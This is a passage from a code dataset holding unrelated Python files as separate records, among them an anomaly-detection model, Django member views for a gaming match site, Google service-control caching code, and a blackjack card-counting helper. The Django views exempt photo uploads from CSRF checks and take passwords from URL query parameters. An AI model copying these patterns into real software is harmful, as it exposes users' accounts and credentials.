0.7842261904761905]\n\n'''\n","repo_name":"ashd97/bottleneck_vgg","sub_path":"vgg_train_save_outputs.py","file_name":"vgg_train_save_outputs.py","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"24918515005","text":"\"\"\"\nRegression\n-----------------\n\"\"\"\nfrom darts import models\n\nfrom oats.models._darts_simple import SimpleDartsModel\n\n\nclass RegressionModel(SimpleDartsModel):\n \"\"\"Linear Regression Model\n\n Using linear regression as a predictor. Anomalies scores are deviations from predictions.\n\n Reference: https://unit8co.github.io/darts/generated_api/darts.models.forecasting.regression.html\n \"\"\"\n\n def __init__(\n self,\n window: int = 10,\n n_steps: int = 1,\n lags: int = 1,\n val_split: float = 0.2,\n **kwargs\n ):\n \"\"\"\n initialization also accepts any parameters used by: https://unit8co.github.io/darts/generated_api/darts.models.forecasting.regression.html\n\n Args:\n window (int, optional): rolling window size to feed into the predictor. Defaults to 10.\n n_steps (int, optional): number of steps to predict forward. Defaults to 1.\n lags (int, optional): number of lags. Defaults to 1.\n val_split (float, optional): proportion of data points reserved for validation; only used if using auto-tuning (not tested). Defaults to 0.\n \"\"\"\n model_cls = models.RegressionModel\n\n super().__init__(model_cls, window, n_steps, lags, val_split, **kwargs)\n\n def hyperopt_model(self, *args):\n # overriding parent method as there's nothing to tune\n return\n","repo_name":"georgian-io/pyoats","sub_path":"oats/models/predictive/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"52"} +{"seq_id":"4991455001","text":"from django.http import JsonResponse\r\nfrom django.contrib.auth.models import User\r\nfrom bemygamersite.utils import utils\r\nfrom django.contrib.auth import authenticate\r\nfrom django.contrib.auth import login as aLogin\r\nfrom django.contrib.auth import logout as aLogout\r\nimport datetime\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nimport bemygamersite.utils.firebase\r\nimport firebase_admin\r\nfrom bemygamersite import modelHelpers\r\nimport json\r\n\r\n\r\ndef getProfileById(request, memberId):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(memberId)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"the member has no profile.\")\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n return JsonResponse(modelHelpers.getMemberProfileView(otherMemberProfile, sessionMemberProfile), safe=False)\r\n\r\n\r\ndef getLatestLikedMembers(request):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n return JsonResponse(modelHelpers.getLatestLikedMembers(sessionMemberProfile), safe=False)\r\n\r\n\r\ndef getLatestInboxMessages(request):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n return JsonResponse(modelHelpers.getLatestInboxMessages(sessionMemberProfile), safe=False)\r\n\r\n\r\ndef getMessages(request, chatMemberId, indexStartId):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(chatMemberId)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"The member id has no profile\")\r\n\r\n return JsonResponse(modelHelpers.getChatMessages(sessionMemberProfile, otherMemberProfile, indexStartId), safe=False)\r\n\r\n\r\ndef publishChatMessage(request, chatMemberId):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(chatMemberId)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"The member id to inbox doesn't have a profile.\")\r\n\r\n modelHelpers.publishChatMessage(sessionMemberProfile, otherMemberProfile)\r\n\r\n return JsonResponse({}, safe=False)\r\n\r\n\r\ndef saveChatMessage(request, chatMemberId, message):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(chatMemberId)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"The member id to inbox doesn't have a profile.\")\r\n\r\n modelHelpers.saveChatMessage(\r\n message, sessionMemberProfile, otherMemberProfile)\r\n\r\n return JsonResponse({}, safe=False)\r\n\r\n\r\ndef skipMemberAndGetNextMatch(request, memberIdToLike):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n if request.user.id == memberIdToLike:\r\n return utils.JsonError(\"You can't skip your own profile.\")\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(memberIdToLike)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"The member id to skip doesn't have a profile.\")\r\n\r\n modelHelpers.skipMember(sessionMemberProfile, otherMemberProfile)\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n nextMatch = modelHelpers.getNextMatch(sessionMemberProfile)\r\n return JsonResponse(nextMatch if nextMatch else {}, safe=False)\r\n\r\n\r\ndef likeMemberAndGetNextMatch(request, memberIdToLike):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n if request.user.id == memberIdToLike:\r\n return utils.JsonError(\"You can't like your own profile.\")\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n otherMemberProfile = modelHelpers.getMemberProfileById(memberIdToLike)\r\n if not otherMemberProfile:\r\n return utils.JsonError(\"The member id to like doesn't have a profile.\")\r\n\r\n modelHelpers.likeMember(sessionMemberProfile, otherMemberProfile)\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n nextMatch = modelHelpers.getNextMatch(sessionMemberProfile)\r\n return JsonResponse(nextMatch if nextMatch else {}, safe=False)\r\n\r\n\r\ndef getNextMatch(request):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n sessionMemberProfile = modelHelpers.getMemberProfileById(request.user.id)\r\n if not sessionMemberProfile:\r\n return utils.JsonError(\"the session member has no profile.\")\r\n\r\n nextMatch = modelHelpers.getNextMatch(sessionMemberProfile)\r\n return JsonResponse(nextMatch if nextMatch else {}, safe=False)\r\n\r\n\r\ndef logout(request):\r\n aLogout(request)\r\n\r\n return JsonResponse({}, safe=False)\r\n\r\n\r\ndef saveProfile(request, profile):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n profileJson = json.loads(profile)\r\n\r\n if \"isNew\" not in profileJson:\r\n profileJson[\"isNew\"] = False\r\n\r\n print(\"saving a new profile...\")\r\n ret = modelHelpers.saveProfile(\r\n profileJson, request.user, profileJson[\"isNew\"])\r\n return JsonResponse(ret, safe=False)\r\n\r\n\r\n@csrf_exempt\r\ndef savePhotos(request):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n if \"photos\" not in request.FILES:\r\n return utils.JsonError(\"There is not any photos to save.\")\r\n\r\n modelHelpers.savePhotos(request.FILES.getlist(\"photos\"), request.user.id)\r\n return JsonResponse({}, safe=False)\r\n\r\n\r\ndef getSessionMemberPhotos(request):\r\n if not request.user.is_authenticated:\r\n return utils.JsonNoSessionError()\r\n\r\n photos = modelHelpers.getMemberPhotos(request.user.id)\r\n\r\n return JsonResponse({\"photos\": photos}, safe=False)\r\n\r\n\r\ndef status(request):\r\n data = {}\r\n if request.user.is_authenticated:\r\n data[\"isLoggedIn\"] = True\r\n data[\"profile\"] = modelHelpers.getMemberProfileView(\r\n modelHelpers.getMemberProfileById(request.user.id))\r\n\r\n return JsonResponse(data, safe=False)\r\n\r\n\r\ndef login(request, loginToken):\r\n user = authenticate(token=loginToken)\r\n if not user:\r\n return utils.JsonError(\"The account could not be found.\")\r\n\r\n aLogin(request, user)\r\n\r\n return JsonResponse({\"isLoggedIn\": True,\r\n \"profile\": modelHelpers.getMemberProfileView(modelHelpers.getMemberProfileById(request.user.id))}, safe=False)\r\n\r\n\r\ndef register(request):\r\n cleanFields = {}\r\n ret = utils.ValidateFormFields(request.GET,\r\n {\"email\": {},\r\n \"password\": {},\r\n \"name\": {}},\r\n cleanFields)\r\n if type(ret) != bool:\r\n return ret\r\n\r\n try:\r\n memberId = bemygamersite.utils.firebase.CreateMember(cleanFields)\r\n except firebase_admin._auth_utils.EmailAlreadyExistsError:\r\n return utils.JsonErrorField(\"That email is already registered.\", \"email\")\r\n except ValueError as err:\r\n return utils.JsonError(\"Something went wrong...[\"+str(err)+\"]\")\r\n\r\n user = User.objects.create_user(cleanFields[\"email\"],\r\n cleanFields[\"email\"],\r\n cleanFields[\"password\"])\r\n user.first_name = cleanFields[\"name\"]\r\n user.save()\r\n\r\n aLogin(request, user)\r\n\r\n return JsonResponse({})\r\n","repo_name":"dandydunk/bemygamer","sub_path":"bemygamer/bemygamersite/views/members.py","file_name":"members.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12513464425","text":"from __future__ import absolute_import\n\nimport collections\nimport hashlib\nimport httplib\nimport logging\nfrom datetime import datetime\n\nfrom apitools.base.py import encoding\n\nfrom . import caches, label_descriptor, messages\nfrom . import metric_value, operation, signing\n\nlogger = logging.getLogger(__name__)\n\n# alias for brevity\n_CheckErrors = messages.CheckError.CodeValueValuesEnum\n_IS_OK = (httplib.OK, '', True)\n_IS_UNKNOWN = (\n httplib.INTERNAL_SERVER_ERROR,\n 'Request blocked due to unsupported block reason {detail}',\n False)\n_CHECK_ERROR_CONVERSION = {\n _CheckErrors.NOT_FOUND: (\n httplib.BAD_REQUEST,\n 'Client project not found. Please pass a valid project',\n False,\n ),\n _CheckErrors.API_KEY_NOT_FOUND: (\n httplib.BAD_REQUEST,\n 'API key not found. Please pass a valid API key',\n True,\n ),\n _CheckErrors.API_KEY_EXPIRED: (\n httplib.BAD_REQUEST,\n 'API key expired. Please renew the API key',\n True,\n ),\n _CheckErrors.API_KEY_INVALID: (\n httplib.BAD_REQUEST,\n 'API not valid. Please pass a valid API key',\n True,\n ),\n _CheckErrors.SERVICE_NOT_ACTIVATED: (\n httplib.FORBIDDEN,\n '{detail} Please enable the project for {project_id}',\n False,\n ),\n _CheckErrors.PERMISSION_DENIED: (\n httplib.FORBIDDEN,\n 'Permission denied: {detail}',\n False,\n ),\n _CheckErrors.IP_ADDRESS_BLOCKED: (\n httplib.FORBIDDEN,\n '{detail}',\n False,\n ),\n _CheckErrors.REFERER_BLOCKED: (\n httplib.FORBIDDEN,\n '{detail}',\n False,\n ),\n _CheckErrors.CLIENT_APP_BLOCKED: (\n httplib.FORBIDDEN,\n '{detail}',\n False,\n ),\n _CheckErrors.PROJECT_DELETED: (\n httplib.FORBIDDEN,\n 'Project {project_id} has been deleted',\n False,\n ),\n _CheckErrors.PROJECT_INVALID: (\n httplib.BAD_REQUEST,\n 'Client Project is not valid. Please pass a valid project',\n False,\n ),\n _CheckErrors.VISIBILITY_DENIED: (\n httplib.FORBIDDEN,\n 'Project {project_id} has no visibility access to the service',\n False,\n ),\n _CheckErrors.BILLING_DISABLED: (\n httplib.FORBIDDEN,\n 'Project {project_id} has billing disabled. Please enable it',\n False,\n ),\n\n # Fail open for internal server errors\n _CheckErrors.NAMESPACE_LOOKUP_UNAVAILABLE: _IS_OK,\n _CheckErrors.SERVICE_STATUS_UNAVAILABLE: _IS_OK,\n _CheckErrors.BILLING_STATUS_UNAVAILABLE: _IS_OK,\n _CheckErrors.QUOTA_CHECK_UNAVAILABLE: _IS_OK,\n}\n\n\ndef convert_response(check_response, project_id):\n \"\"\"Computes a http status code and message `CheckResponse`\n\n The return value a tuple (code, message, api_key_is_bad) where\n\n code: is the http status code\n message: is the message to return\n api_key_is_bad: indicates that a given api_key is bad\n\n Args:\n check_response (:class:`google.api.gen.servicecontrol_v1_messages.CheckResponse`):\n the response from calling an api\n\n Returns:\n tuple(code, message, bool)\n \"\"\"\n if not check_response or not check_response.checkErrors:\n return _IS_OK\n\n # only check the first error for now, as per ESP\n theError = check_response.checkErrors[0]\n error_tuple = _CHECK_ERROR_CONVERSION.get(theError.code, _IS_UNKNOWN)\n if error_tuple[1].find('{') == -1: # no replacements needed:\n return error_tuple\n\n updated_msg = error_tuple[1].replace('{project_id}', project_id)\n updated_msg = updated_msg.replace('{detail}', theError.detail or '')\n error_tuple = (error_tuple[0], updated_msg, error_tuple[2])\n return error_tuple\n\n\ndef sign(check_request):\n \"\"\"Obtains a signature for an operation in a `CheckRequest`\n\n Args:\n op (:class:`google.api.gen.servicecontrol_v1_messages.Operation`): an\n operation used in a `CheckRequest`\n\n Returns:\n string: a secure hash generated from the operation\n \"\"\"\n if not isinstance(check_request, messages.CheckRequest):\n raise ValueError('Invalid request')\n op = check_request.operation\n if op is None or op.operationName is None or op.consumerId is None:\n logging.error('Bad %s: not initialized => not signed', check_request)\n raise ValueError('check request must be initialized with an operation')\n md5 = hashlib.md5()\n md5.update(op.operationName)\n md5.update('\\x00')\n md5.update(op.consumerId)\n if op.labels:\n signing.add_dict_to_hash(md5, encoding.MessageToPyValue(op.labels))\n for value_set in op.metricValueSets:\n md5.update('\\x00')\n md5.update(value_set.metricName)\n for mv in value_set.metricValues:\n metric_value.update_hash(md5, mv)\n\n md5.update('\\x00')\n if op.quotaProperties:\n # N.B: this differs form cxx implementation, which serializes the\n # protobuf. This should be OK as the exact hash used does not need to\n # match across implementations.\n md5.update(repr(op.quotaProperties))\n\n md5.update('\\x00')\n return md5.digest()\n\n\n_KNOWN_LABELS = label_descriptor.KnownLabels\n\n\nclass Info(collections.namedtuple('Info',\n ('client_ip',) + operation.Info._fields),\n operation.Info):\n \"\"\"Holds the information necessary to fill in CheckRequest.\n\n In addition the attributes in :class:`operation.Info`, this has:\n\n Attributes:\n client_ip: the client IP address\n\n \"\"\"\n def __new__(cls, client_ip='', **kw):\n \"\"\"Invokes the base constructor with default values.\"\"\"\n op_info = operation.Info(**kw)\n return super(Info, cls).__new__(cls, client_ip, **op_info._asdict())\n\n def as_check_request(self, timer=datetime.utcnow):\n \"\"\"Makes a `ServicecontrolServicesCheckRequest` from this instance\n\n Returns:\n a ``ServicecontrolServicesCheckRequest``\n\n Raises:\n ValueError: if the fields in this instance are insufficient to\n to create a valid ``ServicecontrolServicesCheckRequest``\n\n \"\"\"\n if not self.service_name:\n raise ValueError('the service name must be set')\n if not self.operation_id:\n raise ValueError('the operation id must be set')\n if not self.operation_name:\n raise ValueError('the operation name must be set')\n op = super(Info, self).as_operation(timer=timer)\n labels = {\n _KNOWN_LABELS.SCC_USER_AGENT.label_name: label_descriptor.USER_AGENT\n }\n if self.client_ip:\n labels[_KNOWN_LABELS.SCC_CALLER_IP.label_name] = self.client_ip\n\n if self.referer:\n labels[_KNOWN_LABELS.SCC_REFERER.label_name] = self.referer\n\n op.labels = encoding.PyValueToMessage(\n messages.Operation.LabelsValue, labels)\n check_request = messages.CheckRequest(operation=op)\n return messages.ServicecontrolServicesCheckRequest(\n serviceName=self.service_name,\n checkRequest=check_request)\n\n\nclass Aggregator(object):\n \"\"\"Caches and aggregates ``CheckRequests``.\n\n Concurrency: Thread safe.\n\n Usage:\n\n Creating a new cache entry and use cached response\n\n Example:\n >>> options = caches.CheckOptions()\n >>> agg = Aggregator('my_service', options)\n >>> req = ServicecontrolServicesCheckRequest(...)\n >>> # check returns None as the request is not cached\n >>> if agg.check(req) is not None:\n ... resp = service.check(req)\n ... agg = service.add_response(req, resp)\n >>> agg.check(req) # response now cached according as-per options\n \n\n Refreshing a cached entry after a flush interval\n\n The flush interval is constrained to be shorter than the actual cache\n expiration. This allows the response to potentially remain cached and be\n aggregated with subsequent check requests for the same operation.\n\n Example:\n >>> # continuing from the previous example,\n >>> # ... after the flush interval\n >>> # - the response is still in the cache, i.e, not expired\n >>> # - the first call after the flush interval returns None, subsequent\n >>> # calls continue to return the cached response\n >>> agg.check(req) # signals the caller to call service.check(req)\n None\n >>> agg.check(req) # next call returns the cached response\n \n\n Flushing the cache\n\n Once a response is expired, if there is an outstanding, cached CheckRequest\n for it, this should be sent and their responses added back to the\n aggregator instance, as they will contain quota updates that have not been\n sent.\n\n Example:\n\n >>> # continuing the previous example\n >>> for req in agg.flush(): # an iterable of cached CheckRequests\n ... resp = caller.send_req(req) # caller sends them\n >>> agg.add_response(req, resp) # and caches their responses\n\n \"\"\"\n\n def __init__(self, service_name, options, kinds=None,\n timer=datetime.utcnow):\n \"\"\"Constructor.\n\n Args:\n service_name (string): names the service that all requests aggregated\n by this instance will be sent\n options (:class:`~google.api.caches.CheckOptions`): configures the\n caching and flushing behavior of this instance\n kinds (dict[string,[google.api.control.MetricKind]]): specifies the\n kind of metric for each each metric name.\n timer (function([[datetime]]): a function that returns the current\n as a time as a datetime instance\n \"\"\"\n self._service_name = service_name\n self._options = options\n self._cache = caches.create(options, timer=timer)\n self._kinds = {} if kinds is None else dict(kinds)\n self._timer = timer\n\n @property\n def service_name(self):\n \"\"\"The service to which all aggregated requests should belong.\"\"\"\n return self._service_name\n\n @property\n def flush_interval(self):\n \"\"\"The interval between calls to flush.\n\n Returns:\n timedelta: the period between calls to flush if, or ``None`` if no\n cache is set\n\n \"\"\"\n return None if self._cache is None else self._options.expiration\n\n def flush(self):\n \"\"\"Flushes this instance's cache.\n\n The driver of this instance should call this method every\n `flush_interval`.\n\n Returns:\n list['CheckRequest']: corresponding to CheckRequests that were\n pending\n\n \"\"\"\n if self._cache is None:\n return []\n with self._cache as c:\n flushed_items = list(c.out_deque)\n c.out_deque.clear()\n cached_reqs = [item.extract_request() for item in flushed_items]\n cached_reqs = [req for req in cached_reqs if req is not None]\n return cached_reqs\n\n def clear(self):\n \"\"\"Clears this instance's cache.\"\"\"\n if self._cache is not None:\n with self._cache as c:\n c.clear()\n c.out_deque.clear()\n\n def add_response(self, req, resp):\n \"\"\"Adds the response from sending to `req` to this instance's cache.\n\n Args:\n req (`ServicecontrolServicesCheckRequest`): the request\n resp (CheckResponse): the response from sending the request\n \"\"\"\n if self._cache is None:\n return\n signature = sign(req.checkRequest)\n with self._cache as c:\n now = self._timer()\n quota_scale = 0 # WIP\n item = c.get(signature)\n if item is None:\n c[signature] = CachedItem(\n resp, self.service_name, now, quota_scale)\n else:\n # Update the cached item to reflect that it is updated\n item.last_check_time = now\n item.response = resp\n item.quota_scale = quota_scale\n item.is_flushing = False\n c[signature] = item\n\n def check(self, req):\n \"\"\"Determine if ``req`` is in this instances cache.\n\n Determine if there are cache hits for the request in this aggregator\n instance.\n\n Not in the cache\n\n If req is not in the cache, it returns ``None`` to indicate that the\n caller should send the request.\n\n Cache Hit; response has errors\n\n When a cached CheckResponse has errors, it's assumed that ``req`` would\n fail as well, so the cached CheckResponse is returned. However, the\n first CheckRequest after the flush interval has elapsed should be sent\n to the server to refresh the CheckResponse, though until it's received,\n subsequent CheckRequests should fail with the cached CheckResponse.\n\n Cache behaviour - response passed\n\n If the cached CheckResponse has no errors, it's assumed that ``req``\n will succeed as well, so the CheckResponse is returned, with the quota\n info updated to the same as requested. The requested tokens are\n aggregated until flushed.\n\n Args:\n req (``ServicecontrolServicesCheckRequest``): to be sent to\n the service control service\n\n Raises:\n ValueError: if the ``req`` service_name is not the same as\n this instances\n\n Returns:\n ``CheckResponse``: if an applicable response is cached by this\n instance is available for use or None, if there is no applicable\n response\n\n \"\"\"\n if self._cache is None:\n return None # no cache, send request now\n if not isinstance(req, messages.ServicecontrolServicesCheckRequest):\n raise ValueError('Invalid request')\n if req.serviceName != self.service_name:\n logger.error('bad check(): service_name %s does not match ours %s',\n req.serviceName, self.service_name)\n raise ValueError('Service name mismatch')\n check_request = req.checkRequest\n if check_request is None:\n logger.error('bad check(): no check_request in %s', req)\n raise ValueError('Expected operation not set')\n op = check_request.operation\n if op is None:\n logger.error('bad check(): no operation in %s', req)\n raise ValueError('Expected operation not set')\n if op.importance != messages.Operation.ImportanceValueValuesEnum.LOW:\n return None # op is important, send request now\n\n signature = sign(check_request)\n with self._cache as cache:\n logger.debug('checking the cache for %s\\n%s', signature, cache)\n item = cache.get(signature)\n if item is None:\n return None # signal to caller to send req\n else:\n return self._handle_cached_response(req, item)\n\n def _handle_cached_response(self, req, item):\n with self._cache: # defensive, this re-entrant lock should be held\n if len(item.response.checkErrors) > 0:\n if self._is_current(item):\n return item.response\n\n # There are errors, but now it's ok to send a new request\n item.last_check_time = self._timer()\n return None # signal caller to send req\n else:\n item.update_request(req, self._kinds)\n if self._is_current(item):\n return item.response\n\n if (item.is_flushing):\n logger.warn('last refresh request did not complete')\n\n item.is_flushing = True\n item.last_check_time = self._timer()\n return None # signal caller to send req\n\n def _is_current(self, item):\n age = self._timer() - item.last_check_time\n return age < self._options.flush_interval\n\n\nclass CachedItem(object):\n \"\"\"CachedItem holds items cached along with a ``CheckRequest``.\n\n Thread compatible.\n\n Attributes:\n response (:class:`messages.CachedResponse`): the cached response\n is_flushing (bool): indicates if it's been detected that item\n is stale, and needs to be flushed\n quota_scale (int): WIP, used to determine quota\n last_check_time (datetime.datetime): the last time this instance\n was checked\n\n \"\"\"\n\n def __init__(self, resp, service_name, last_check_time, quota_scale):\n self.last_check_time = last_check_time\n self.quota_scale = quota_scale\n self.is_flushing = False\n self.response = resp\n self._service_name = service_name\n self._op_aggregator = None\n\n def update_request(self, req, kinds):\n agg = self._op_aggregator\n if agg is None:\n self._op_aggregator = operation.Aggregator(\n req.checkRequest.operation, kinds)\n else:\n agg.add(req.checkRequest.operation)\n\n def extract_request(self):\n if self._op_aggregator is None:\n return None\n\n op = self._op_aggregator.as_operation()\n self._op_aggregator = None\n check_request = messages.CheckRequest(operation=op)\n return messages.ServicecontrolServicesCheckRequest(\n serviceName=self._service_name,\n checkRequest=check_request)\n","repo_name":"kiwibrowser/src","sub_path":"third_party/catapult/third_party/google-endpoints/google/api/control/check_request.py","file_name":"check_request.py","file_ext":"py","file_size_in_byte":17366,"program_lang":"python","lang":"en","doc_type":"code","stars":2475,"dataset":"github-code","pt":"52"} +{"seq_id":"29931071684","text":"''' \r\nBlackJack Player Guide\r\n'''\r\nimport argparse\r\nfrom CheatSheet import strategy, strategy2\r\nimport itertools\r\nimport time\r\n\r\nclass BlackJack:\r\n ''' Create instances for every player '''\r\n\r\n BLACKJACK = 21\r\n Live_Count = 0\r\n Next_game = True\r\n Games = 0\r\n\r\n def __init__(self, name, is_dealer=False):\r\n self.name = name.capitalize()\r\n self.score = 0\r\n self.is_dealer = is_dealer\r\n self.cards = []\r\n self.has_ace = False\r\n self.move = None\r\n\r\n def hard_or_soft(self):\r\n ''' A function to get the needed datatype'''\r\n\r\n if self.has_ace:\r\n if not self.is_dealer:\r\n return tuple([\"A\",self.score - 11])\r\n else:\r\n return \"A\"\r\n else:\r\n return self.score\r\n\r\n\r\n def read_cards_and_get_score(self):\r\n ''' Gets the card numbers from input and calculates the corresponding score '''\r\n\r\n playing_cards = {\r\n \"suits\":[\"J\",\"Q\",\"K\"],\r\n \"ace\":\"A\",\r\n \"face_value\":[x+1 for x in range(10)]\r\n }\r\n\r\n # Read cards(1)\r\n if self.__class__.__name__ == \"BlackJack\":\r\n literal_cards = input(f\"Enter {self.name} cards: \").upper().split(\" \")\r\n else:\r\n literal_cards = self.dealt_card()\r\n\r\n # Get score from cards(2)\r\n score = 0\r\n for card in literal_cards:\r\n if card in playing_cards[\"suits\"]:\r\n score += 10\r\n elif card == playing_cards[\"ace\"]:\r\n if card not in self.cards:\r\n score += 11\r\n self.has_ace = True\r\n else:\r\n score += 1\r\n elif int(card) in playing_cards[\"face_value\"]:\r\n score += int(card)\r\n self.score += score\r\n\r\n # Keep track of instance's dealt cards(3)\r\n for card in literal_cards:\r\n self.cards.append(card)\r\n\r\n # Reset Ace's value to 11 if going to bust(4)\r\n if self.has_ace and self.score > 21:\r\n self.score -= 10\r\n self.has_ace = False\r\n\r\n # Printing Scores and Cards(5)\r\n print(f\"{self.name} score: {self.score}\\n{self.name} cards: {self.cards}\")\r\n # Keep a running count for all instances(6)\r\n print(f\"Running count: {self.live_count(literal_cards):+}\")\r\n\r\n\r\n def live_count(self, current_cards):\r\n ''' Count which depends on all the cards dealt on the table\r\n to see the worth of current session '''\r\n\r\n high = [\"J\",\"Q\",\"K\",\"A\",\"10\"]\r\n neutral = [\"7\",\"8\",\"9\"]\r\n low = [\"2\",\"3\",\"4\",\"5\",\"6\"]\r\n\r\n for card in current_cards:\r\n if card in high:\r\n BlackJack.Live_Count -= 1\r\n elif card in low:\r\n BlackJack.Live_Count += 1\r\n elif card in neutral:\r\n continue\r\n\r\n return BlackJack.Live_Count\r\n\r\n def is_bust(self):\r\n ''' Calculating win or loss or to keep going. '''\r\n\r\n blackjack_hands = [\"A\",\"J\",\"Q\",\"K\",\"10\"]\r\n if self.cards[0:2] in [list(x) for x in itertools.permutations(blackjack_hands, 2) if \"A\" in x]:\r\n self.move = \"hit Blackjack\"\r\n print(f\"{self.name} {self.move}!\")\r\n return True\r\n elif self.score > BlackJack.BLACKJACK:\r\n self.move = \"goes bust\"\r\n print(f\"{self.name} {self.move}!\")\r\n return True\r\n elif self.score == 21:\r\n self.move = \"Stand\"\r\n return True\r\n else:\r\n return False\r\n\r\n @staticmethod\r\n def new_game(players, dealer):\r\n ''' Clears score and cards in hand for next game. '''\r\n\r\n if input(\"Do you want to continue?(y/n) \").lower() == \"y\":\r\n for player in players:\r\n player.score = 0\r\n player.move = None\r\n player.cards.clear()\r\n player.has_ace = False\r\n\r\n dealer.score = 0\r\n dealer.move = None\r\n dealer.cards.clear()\r\n dealer.has_ace = False\r\n\r\n else:\r\n BlackJack.Next_game = False\r\n print(\"Game Over!\")\r\n\r\n\r\n def next_action(self):\r\n ''' The move we made in the game '''\r\n\r\n move = input(\"Hit(H) or Stand(S) or Double(D)>> \").upper()\r\n if move == \"S\":\r\n self.move = \"Stand\"\r\n elif move == \"D\":\r\n self.move = \"Double\"\r\n print()\r\n else:\r\n self.move = \"Hit\"\r\n print()\r\n\r\n @classmethod\r\n def get_players_and_dealer(cls):\r\n ''' Get Number of players from args and instantiate players '''\r\n\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"-n\", default=1, help=\"Number of Players at table\", type=int)\r\n number_of_players = parser.parse_args().n\r\n #parser.add_argument(\"-r\", default=10, help=\"Number of games to simulate\", type=int)\r\n #BlackJack.Games = parser.parse_args().r\r\n\r\n dealer = cls(name=\"Dealer\", is_dealer=True)\r\n\r\n players = []\r\n for i in range(number_of_players):\r\n players.append(cls(name=f\"Player-{i+1}\"))\r\n\r\n return dealer, players\r\n\r\n def deal_hand(self, the_dealer=None):\r\n ''' Simulating a player hand of Blackjack game'''\r\n\r\n while self.move != \"Stand\":\r\n self.read_cards_and_get_score()\r\n if self.is_bust():\r\n break\r\n else:\r\n if self.is_dealer:\r\n if self.score >= 17:\r\n self.move = \"Stand\"\r\n else:\r\n if self.move == \"Double Down\":\r\n self.move = \"Stand\"\r\n else:\r\n if self.__class__.__name__ == \"BlackJack\":\r\n BlackJack.cheat_mode(self.hard_or_soft(), the_dealer.hard_or_soft())\r\n self.next_action()\r\n else:\r\n self.move = BlackJack.cheat_mode(self.hard_or_soft(), the_dealer.hard_or_soft())\r\n\r\n\r\n # Can be abstracted into a standalone module\r\n @staticmethod\r\n def cheat_mode(player_hand, dealer_hand):\r\n '''Actual use of this script - Provides the appropriate action\r\n to play at the current score.'''\r\n\r\n if isinstance(player_hand, tuple):\r\n cheat_code = strategy2[str(dealer_hand)][player_hand]\r\n print(f\"Play: {cheat_code}\")\r\n return cheat_code\r\n else:\r\n if int(player_hand) > 17:\r\n print(\"Play: Stand\")\r\n return \"Stand\"\r\n elif int(player_hand) < 8:\r\n print(\"Play: Hit\")\r\n return \"Hit\"\r\n else:\r\n cheat_code = strategy[str(dealer_hand)][str(player_hand)]\r\n print(f\"Play: {cheat_code}\")\r\n return cheat_code\r\n\r\n @staticmethod\r\n def final_result(player, dealer):\r\n ''' Dealer vs Player '''\r\n\r\n if dealer.move == \"goes bust\":\r\n if player.move not in (\"goes bust\", \"hit Blackjack\"): \r\n player.move = \"wins\"\r\n elif dealer.move == \"hit Blackjack\":\r\n if player.move == \"hit Blackjack\": \r\n player.move = \"push\"\r\n else:\r\n player.move = \"lost\"\r\n\r\n # if player.move == dealer.move == \"goes bust\":\r\n # player.move = \"lost\"\r\n # elif player.move == \"goes bust\":\r\n # player.move = \"lost\"\r\n if player.move == \"Stand\":\r\n if 21 >= player.score > dealer.score :\r\n player.move = \"wins\"\r\n elif player.score == dealer.score:\r\n player.move = \"push\"\r\n else:\r\n 